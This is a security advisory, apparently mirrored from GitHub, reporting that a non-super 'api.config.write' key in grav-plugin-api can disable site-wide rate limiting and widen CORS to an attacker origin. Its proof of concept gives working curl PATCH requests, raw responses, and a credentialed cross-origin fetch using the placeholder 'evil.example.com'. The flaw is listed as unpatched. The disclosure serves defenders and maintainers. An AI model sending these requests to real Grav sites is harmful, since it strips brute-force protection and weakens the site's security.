GHSA-4PQV-2QJ5-38FP
`api.config.write` (non-super) can disable the API's own rate limiting and rewrite its CORS policy
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-4PQV-2QJ5-38FP divulgada · CVSS 5.9 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`ConfigController` maintains two constants restricting which config
scopes require full `api.super` privilege to write:
private const PRIVILEGED_SCOPES = ['scheduler', 'backups'];
private const SUPER_WRITE_SCOPES = ['system', 'security'];`plugins/*` — including `plugins/api`, i.e. the API plugin's own
security posture (CORS policy, whether API-key/JWT auth is enabled,
whether rate limiting is enabled) — is in neither list. A caller holding
only `api.config.write` (not `api.super`) can `PATCH /config/plugins/api`
and flip any of these. Two concrete, independently verified effects:
- Rate limiting can be turned off entirely. `PATCH
- **The CORS allow-list can be widened to an attacker-chosen origin
Severity & Threat Model
Per the project's trust-boundary-based severity guidelines: this requires
an authenticated API credential scoped to `api.config.write`, which
is itself already a broad, non-super scope (able to read/write most
non-super-gated config). The question of whether this crosses a trust
boundary (→ HIGH) or stays within the actor's own already-broad scope
(→ MODERATE) is genuinely arguable, and I'd rather state the facts
plainly than over-claim:
- The effect (disabling rate limiting, widening CORS) is site-wide,
- But the caller already holds a config-writing scope broadly, and the
I'd suggest MODERATE-to-HIGH and defer to the maintainers' judgment
per their own framework; I'm not asserting CRITICAL or HIGH myself here.
Not CRITICAL either way, since it requires an authenticated
`api.config.write` credential, not anonymous access.
Affected component / version
- Package: `getgrav/grav-plugin-api`
- Version tested: 1.0.9 (`develop`, commit `f9438d4e71389b1041ac60b69b0b5714ecfa3bdd`, 2026-07-06) and 1.0.7 (GPM `stable`) — identical.
- File: `classes/Api/Controllers/ConfigController.php` (constants + `assertScopeAllowed()`), `classes/Api/Middleware/CorsMiddleware.php` (consumes the resulting config)
Details
`ConfigController.php`:
private const PRIVILEGED_SCOPES = ['scheduler', 'backups'];
...
/**
* ... must not persist changes, because they steer site-wide execution and
* security behavior: `system` carries `twig.safe_functions` ... and
* `security` owns the Twig content ...
*/
private const SUPER_WRITE_SCOPES = ['system', 'security'];The code comments make clear the *intent* — certain scopes are supposed
to be writable only by a full super-admin because they "steer site-wide
execution and security behavior." `plugins/*` is never added to either
list, despite the API plugin's own security-relevant settings (CORS
allow-list, credentialed-CORS toggle, whether API keys/JWT/rate limiting
are enabled) living exactly there.
Proof of Concept
Tested against `getgrav/grav` (develop) with `grav-plugin-api` replaced
by a fresh `git clone` of its `develop` branch (commit `f9438d4`,
2026-07-06), using an API key scoped to only `api.config.read` +
`api.config.write` (no `api.super`).
PoC A — disabling rate limiting (primary, undeniable impact)
Raw transcript, captured 2026-07-07 23:47 KST (`curl -v`):
Baseline, any authenticated request:
> GET /api/v1/pages HTTP/1.1
> X-API-Key: grav_f5ef01c833d20df31264106ead7e42877b5f369d300cf80e
< HTTP/1.1 200 OK
< X-RateLimit-Limit: 120
< X-RateLimit-Remaining: 119
< X-RateLimit-Reset: 1783435683Attack, using the non-super `configwriter` key:
> PATCH /api/v1/config/plugins/api HTTP/1.1
> X-API-Key: grav_adc1c1402b9b2cdf1c4900823915f75480509337e94afcc4
> Content-Type: application/json
>
{"rate_limit": {"enabled": false}}
< HTTP/1.1 200 OK
{"data":{...,"rate_limit":{"enabled":false,"requests":120,"window":60,"storage":"file"},...},
"meta":{"overrides":["rate_limit.enabled"],"fallback":{"rate_limit.enabled":true}}}Same request repeated:
> GET /api/v1/pages HTTP/1.1
> X-API-Key: grav_f5ef01c833d20df31264106ead7e42877b5f369d300cf80e
< HTTP/1.1 200 OK
(no X-RateLimit-* headers at all — rate limiting is off, site-wide,
for every endpoint and every credential type: API key brute-forcing,
password-reset token guessing, invitation-token guessing, etc.)(Reverted afterward by deleting `user/config/plugins/api.yaml` and
clearing cache; confirmed `X-RateLimit-Limit: 120` reappeared on the
next request.)
PoC B — widening CORS to an attacker-chosen, credentialed origin
Baseline (before the write), request with a foreign `Origin`:
curl -D - -o /dev/null \
-H "X-API-Key: grav_EDITOR_KEY" \
-H "Origin: https://evil.example.com" \
http://localhost:8080/api/v1/pagesHTTP/1.1 200 OK
(no Access-Control-Allow-Origin header — origin not allowed)Attack, using the non-super `configwriter` key:
curl -X PATCH "http://localhost:8080/api/v1/config/plugins/api" \
-H "X-API-Key: grav_CONFIGWRITER_KEY" \
-H "Content-Type: application/json" \
-d '{"cors": {"origins": ["https://evil.example.com"], "credentials": true}}'HTTP/1.1 200 OK
{"data":{...,"cors":{...,"origins":["https://evil.example.com"],"credentials":true},...}}Confirmed persisted to disk at `user/config/plugins/api.yaml`:
cors:
origins:
- 'https://evil.example.com'
credentials: trueVerification of real effect — same request as the baseline, repeated
after the write:
curl -D - -o /dev/null \
-H "X-API-Key: grav_EDITOR_KEY" \
-H "Origin: https://evil.example.com" \
http://localhost:8080/api/v1/pagesHTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.example.com
Access-Control-Allow-Credentials: trueConfirmed identically on both the GPM `stable` package (v1.0.7) and the
`develop` branch (v1.0.9, latest commit as of this report).
**Real-browser follow-up test (honesty note on what this does *not*
show):** to check whether the CORS write alone could be chained into
silent session theft, I logged into the Admin panel in a real Chromium
browser (Playwright), then — in the same browser/cookie jar — loaded an
attacker-controlled page on a different origin (`http://localhost:9999`,
added to `cors.origins` via the attack above) that ran
`fetch('http://localhost:18080/api/v1/pages', {credentials: 'include'})`.
The fetch was not blocked by CORS (the response was readable,
confirming the misconfigured policy is live), but it came back `401
Unauthorized`, because Grav's admin session cookie is `SameSite=Lax`,
and browsers do not attach `SameSite=Lax` cookies to cross-site
`fetch()`/XHR requests. I also confirmed the JWT auth path isn't an
alternate route to the same theft: `JwtAuthenticator` never reads a
cookie (token only via `X-API-Token`/`Authorization` header), and a
malicious origin's JavaScript cannot read another origin's
`localStorage` regardless of any CORS policy — that isolation is
enforced independently of CORS. So on this codebase, as configured, I
found **no live path from the CORS write alone to reading another
user's authenticated data**; I'm reporting the CORS finding as a
confirmed access-control/config-hygiene bug, not as a demonstrated
session-hijacking exploit.
Impact
A caller holding `api.config.write` (a broad but non-super scope) can:
- Disable rate limiting for the entire API (PoC A) — the most
- Widen the CORS allow-list to any origin, with credentials enabled
Since `api.config.write` is documented and intended to touch routine
"configuration," an operator granting it (e.g. to a junior ops role)
would not expect it to also unlock the API platform's own perimeter
security settings — the code's own comments on `SUPER_WRITE_SCOPES`
say exactly that.
Suggested Fix
Add `plugins/api` (and any other plugin scope that owns security-bearing
settings — auth, CORS, rate limiting) to `SUPER_WRITE_SCOPES`, consistent
with how `system`/`security` are already treated.
Timeline
- Discovered: 2026-07-04
- Confirmed against latest upstream `develop`: 2026-07-06, re-confirmed with fresh transcript 2026-07-07
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistgetgrav/grav-plugin-api |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/getgrav/grav/security/advisories/GHSA-4pqv-2qj5-38fpLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
